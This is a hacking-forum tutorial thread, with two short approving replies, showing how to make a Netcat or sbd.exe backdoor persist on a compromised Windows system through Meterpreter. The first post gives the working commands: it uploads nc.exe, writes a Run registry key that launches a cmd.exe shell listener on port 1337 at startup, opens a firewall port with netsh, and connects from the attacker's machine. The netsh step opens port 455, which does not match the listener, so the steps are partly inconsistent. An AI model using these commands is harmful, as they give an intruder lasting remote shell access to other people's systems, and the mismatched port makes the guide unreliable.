![]() |
Persistent Netcat/SBD Backdoor with Metasploit - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: Persistent Netcat/SBD Backdoor with Metasploit (/Thread-Persistent-Netcat-SBD-Backdoor-with-Metasploit) |
Persistent Netcat/SBD Backdoor with Metasploit - Charon - 05-13-2013 Hello Sinisterly members. I will show you how to make a persistent Netcat backdoor with Metasploit, on a compromised system for example. And we make the backdoor persistent by interacting with the system firewall and the registry. Okay so let's start metasploit and upload Netcat or sbd.exe if you are looking for a netcat but with password protection for your shell. (BackTrack and Kali has it pre-installed) I will be using Backtrack 5 in this tutorial. Code: meterpreter > upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32 The next step is to let Netcat listen on a random port, it does not really matter what port, but in this tutorial we'll be using port 1337. Then we want to bypass the system firewall and open the port on startup. In order to do this we will be using the command "reg enumkey" and we will edit the key Code: 'HKLM\software\microsoft\windows\currentversion\run' It will look like this; Code: meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Next we will use commands to get netcat or sbd.exe running on startup and open port 1337 and listen to a connection. Code: meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 1337 -e cmd.exe' Now we have to configure the system to allow remote connections through the firewall to our netcat or SBD.exe backdoor using the interactive command promprt and running a command called "netsh" and to see if operational mode is enabled on our firewall. Code: meterpreter > execute -f cmd -i As you can see here operational mode is enabled (fuck yeah). So our next step is to open port 1337 and use netcat or SBD.exe to connect to it. Code: C:\ > netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL Now in order to connect to our netcat or SBD.exe backdoor you would have to run the following command: Code: root@charon:~# nc -v 192.168.56.60 1337 There we go, a persistent netcat/sbd.exe backdoor! I hope you have enjoyed the tutorial. Thanks to DES for teaching me this. RE: Persistent Netcat/SBD Backdoor with Metasploit - Nefarious - 05-13-2013 Very nice tutorial Charon. Make some more. RE: Persistent Netcat/SBD Backdoor with Metasploit - Unmasked - 05-14-2013 Good HQ tutorial here, lets get more of these on this site! ![]() |